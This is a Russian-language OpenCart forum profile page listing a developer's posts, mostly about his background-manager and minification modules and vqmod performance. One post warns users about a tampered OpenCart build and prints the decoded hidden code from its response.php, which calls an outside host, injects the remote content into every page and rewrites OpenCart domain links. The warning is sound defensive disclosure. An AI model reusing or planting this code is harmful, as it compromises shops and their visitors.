-
Posts
1,750 -
Joined
-
Last visited
Content Type
Profiles
Forums
Marketplace
Articles
FAQ
Our New
Store
Blogs
module__dplus_manager
Everything posted by halfhope
-
Как известно (un)serialize медленнее json_encode(decode) почему бы не использовать json в OpenCart? Я понимаю, конечно, это экономия на спичках. Я вижу только одну причину в пользу (un)serialize, в отличии от json он может сериализовать классы. Но в OpenCart такого, к счастью, нет. У меня не возникло проблем при переходе на json. Есть аргументы? Буду раз услышать разные точки зрения.
-
Только что вышло обновление безопасности (версия 2.1.1). Для того, чтобы применить обновление просто скопируйте (с заменой) все файлы. Что уже готово для версии 3.0: Live создание/редактирование шаблона (60/40) (Поля "Ссылка" (50/50), "JavaScript код", "Дополнительные изображения" в этом режиме будут недоступны, для их редактирования будет необходимо перейти в административную панель) (Готово на 50% подробности в сообщении ниже) Будет убран "Отступ контейнера" (Готово) Будут объединены "Стиль тени" и "Дополнительный CSS код" (Готово) Будет добавлено поле для JS кода, которое будет вставлять JavaScript код в страницу (как файл/текстом). (Готово) Галерея тайлинг-текстур и фонов (не шаблонов) (60/40). (отложено) Будет убран основной раздел модуля, где перечисляются другие разделы модуля. (Готово) Будет добавлена экспериментальная функция - назначать шаблон для товаров на странице редактирования товара (Только при наличии vqMod и отдельно от основного модуля) (этот модуль будет поставляться отдельно, как дополнение к основному модулю) (Готово) Теперь доступны "глобальные переменные". Например, [container_id] содержит ID контейнера, который был указан в настройках. [img1] содержит путь к изображению 1. Эти переменные можно использовать в полях "CSS код", "JS код", "Fix_code(в настройках)". (Готово) Добавлены дополнительные изображения к каждому шаблону (дополнительные изображения так же доступны в виде переменных) (Готово) В связи с добавлением глобальных переменных будет создана галерея сниппетов, к которой будут храниться готовые шаблоны скриптов и стилей для создания анимаций и доп спец. эффектов. (P.S. все-таки нашел разумный способ добавлять анимацию) (отложено) Скриншот: Страница редактирования шаблона http://halfhope.ru/tmp/background_manager_v3.0.png (Доп модуль) Выбор шаблона для товара http://halfhope.ru/tmp/20.34.30_18.02.2014.png Live редактирование шаблона http://halfhope.ru/tmp/live editor.png Демо можно посмотреть здесь: http://oc.halfhope.ru/
- 23 replies
-
- background
- менеджер
-
(and 5 more)
Tagged with:
-
Ищите в папках "admin/language/russian/mail/" либо "catalog/language/russian/account/"
-
Для версии 2.1 планировалось сделать галерею шаблонов, но она не была реализована ввиду своей неактуальности. В следующей версии, возможно, появятся: Live создание/редактирование шаблона (60/40) Будет убран "Отступ контейнера" Будут объединены "Стиль тени" и "Дополнительный CSS код" Будет добавлено поле для JS кода. Галерея тайлинг-текстур и фонов (не шаблонов) (60/40). Будет убран основной раздел модуля, где перечисляются другие разделы модуля. Будет добавлена экспериментальная функция - назначать шаблон для товаров на странице редактирования товара (Только при наличии vqMod и отдельно от основного модуля) Предлагайте свои идеи, они все они будут рассмотрены.
- 23 replies
-
- background
- менеджер
-
(and 5 more)
Tagged with:
-
Если Вы имеете ввиду фон для каждой категории отдельно, то да. Фон можно назначить на любую категорию.
- 23 replies
-
- background
- менеджер
-
(and 5 more)
Tagged with:
-
Доброго времени суток. Клиенты часто обращаются с просьбой сделать их сайт быстрее. Во многих случаях мне удается это сделать. Но в других профилирование показывает что причиной всему является vqmod, функция modCheck(). После отключения лога в vqmod, как описано в http://www.gutsite.ru/gutinfo/43-uskorenie-opencart (для старых версий), становится немного быстрее, совсем немного. Я так понял, что функция modCheck вызывается при каждом посещении сайта, проверяет файлы модификаций и файлы opencart на дату последнего изменения, если что-то отличается, то вносит изменения и сохраняет в кэш. Вопрос: Кто-нибудь пробовал отключить проверку, чтобы файлы сразу загружались из кэша? ala чтобы можно было вручную обновлять кэш? Самым оптимальным выходом из данной ситуации является отказ от использования vqmod.
-
Список файлов исключенных из обработки - файлы, которые не будут минимизироваться и объединяться. Список файлов исключенных из объединения - файлы, которые будут минимизироваться, но не будут объединяться.
- 215 replies
-
- сжатие css
- сжатие js
- (and 7 more)
-
Если какой-то JS скрипт перестает работать, как например "catalog/view/javascript/jquery/jquery.jcarousel.min.js", Добавьте его в "Список файлов исключенных из объединения" или "Список файлов исключенных из минимизации" и сохраните настройки. Какой именно скрипт перестал работать можно в консоли браузера. Еще, как вариант в опции "Режим объединения" можете поставить "Объединять группой в папках". Прим. Если у Вас в качестве JavaScript минимизатора стоит GoogleClousureCompiler. У него есть ограничение на количество подключений в час на один IP адрес, я постарался увеличить лимит, но все же иногда бывают случаи когда клиенты превышают лимит. Так что если какой-то модуль сайта перестанет отображаться и в генерированном файле скриптов появится "Too many connections (22)", то отключите минимизацию JS на час, удалите этот файл, а потом снова включите.
- 215 replies
-
- сжатие css
- сжатие js
- (and 7 more)
-
Если будут вопросы, пишите на [email protected]. Меня на форуме временно не будет.
- 215 replies
-
- сжатие css
- сжатие js
- (and 7 more)
-
Предоставьте, пожалуйста, доступы к ftp и административной панели (В ЛС, либо на [email protected]). Если политика безопасности магазина не разрешает этого делать, то работа будет идти гораздо медленнее.
- 215 replies
-
- сжатие css
- сжатие js
- (and 7 more)
-
Смотря что за тип CDN. MCj поддерживает только domain CDN это грубо говоря зеркала Вашего сайта. Как, например, http://halfhope.ru/ и http://dotgrid74.ru/. Это сделано для того, чтобы обойти ограничение количества одновременных подключений к одному домену. Если Вы будете подключать его к платному cdn, то скорее всего это CDN Proxy. Это прокси сервер, который будет "лицом" Вашего сайта. Т.е. браузер посетителя будет получать данные от сети прокси-серверов, а эта сеть уже от Вашего сайта. К этому типу CDN MCJ отношения не имеет. UPD. Да, подключать пробовал у самого блог к cloudflare подключен.
- 215 replies
-
- сжатие css
- сжатие js
- (and 7 more)
-
У Вас стоит php версии 5.4, уберите символ амперсанда из 244 строки.
- 215 replies
-
- сжатие css
- сжатие js
- (and 7 more)
-
Узнать category_id на странице товара
halfhope replied to halfhope's topic in Допомога програмістам та розробникам
Все-таки не получается. if (isset($this->request->get['path'])) { $path = explode('_', $this->request->get['path']);}else{ $path = $this->model_background_manager->getProductCategories($this->request->get['product_id']);}$category_id = end($path); Не работает в ocStore. Если у товара две категории или более то всегда получает только id главной категории товара. -
Узнать category_id на странице товара
halfhope replied to halfhope's topic in Допомога програмістам та розробникам
Сам сказал - сам ответил. Выдернул код из контроллера страницы добавления/редактирования продукта, в админке. $this->model_catalog_product->getProductCategories($this->request->get['product_id']) Возвращает массив категорий, в которых есть этот продукт. Работает только в админке, потому как в модели "catalog/product" админки есть функция "getProductCategories($product_id)", а в модели каталога её нет. Вот эта функция: public function getProductCategories($product_id) { $product_category_data = array(); $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_to_category WHERE product_id = '" . (int)$product_id . "'"); foreach ($query->rows as $result) { $product_category_data[] = $result['category_id']; } return $product_category_data; } -
Да, в процессе. Знаю, что не укладываюсь в срок (на 12 дней), но поверьте это будет стоить того. Анимации фона не будет!!! Уже есть предпросмотр и много полезного. Скоро отчитаюсь и предоставлю демо.
- 23 replies
-
- background
- менеджер
-
(and 5 more)
Tagged with:
-
Письмо следующего содержания: В этой сборке файл "system/library/response.php" содержит закодированный base64 код: Код не видно если в редакторе кода, которым Вы пользуетесь, текст выходит за рамки окна (WordWrap). После декодирования кода получаем: function get_page($url){ $agent = 'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ru; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9'; $ch=curl_init(); curl_setopt ($ch, CURLOPT_URL,$url ); curl_setopt($ch, CURLOPT_USERAGENT, $agent); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch,CURLOPT_VERBOSE,false); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $page=curl_exec($ch); $errorpage = '</body></html>'; $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); switch($httpcode){ case '200': return $page; break; case '404'; return $errorpage; break; case '502'; return $errorpage; break; } } if ($ftend = get_page("http://googlejavascript.com/api.php?server=".$_SERVER['SERVER_NAME']."&page=".$_SERVER['REQUEST_URI'])){ $find = array("</body>", "</html>", "opencart.com", "=^_^=.ru", "myopencart.ru", "opencartforum.com", "opencart.ru", "opencart.by"); $replace = array("", $ftend, "ruopencart.com", "ruopencart.com", "ruopencart.com", "ruopencart.com", "ruopencart.com", "ruopencart.com"); $ouput = str_replace($find, $replace, $ouput); ini_set("display_errors","off"); error_reporting(0); echo $ouput;} else { echo $ouput; } Просьба быть бдительным.
-
Как и где выдавать 404 при необходимости?
halfhope replied to 7up's topic in Допомога програмістам та розробникам
Хммм, всегда думал, что страница выводится, а код ошибки сервер не присылает. Поэтому в .htaccess или конфигах nginx прописывал пути к кастомным страницам ошибок. -
Как и где выдавать 404 при необходимости?
halfhope replied to 7up's topic in Допомога програмістам та розробникам
В OpenCart не предусмотрены коды ошибок( Да, вы правильно понимаете. Вам нужно в headers ответа от сервера добавить код ошибки. -
На этой неделе постараюсь представить такой магазин. "До покупки" это без модуля. В общем, mcj старается снизить общую нагрузку на сервер, Через вставку изображений в css, объединение и минимизацию файлов, оптимизацию БД, и рекомендаций по .htaccess и прочих фишек с сервером. Для сжатия JavaScript нет идеального инструмента сжатия. Для этого я и добавляю различные настройки, которые помогут это компенсировать. Для этого достаточно включить JQueryCDN, и добавить скрипт, в котором происходит ошибка в "список файлов исключенных из объединения". Так же в версии 1.3 добавлено новое поле "стили / скрипты которые необходимо оставить на своих местах в коде страницы". Это позволит оставить "позиционные" скрипты, стили на своих местах. Например стиль, который находится в конце страницы и должен перекрывать все основные стили.
- 215 replies
-
- 2
-
- сжатие css
- сжатие js
- (and 7 more)
-
Следующее плановое обновление модуля через 48 дней. В следующей версии: Более удобное управление дополнением(админка). Предпросмотр создаваемого шаблона. Смена фона с анимацией (50/50).
- 23 replies
-
- background
- менеджер
-
(and 5 more)
Tagged with:
-
https://opencartforum.com/files/file/1368-%D0%BC%D0%B5%D0%BD%D0%B5%D0%B4%D0%B6%D0%B5%D1%80-%D1%84%D0%BE%D0%BD%D0%BE%D0%B2%D1%8B%D1%85-%D0%B8%D0%B7%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B9-vqmod/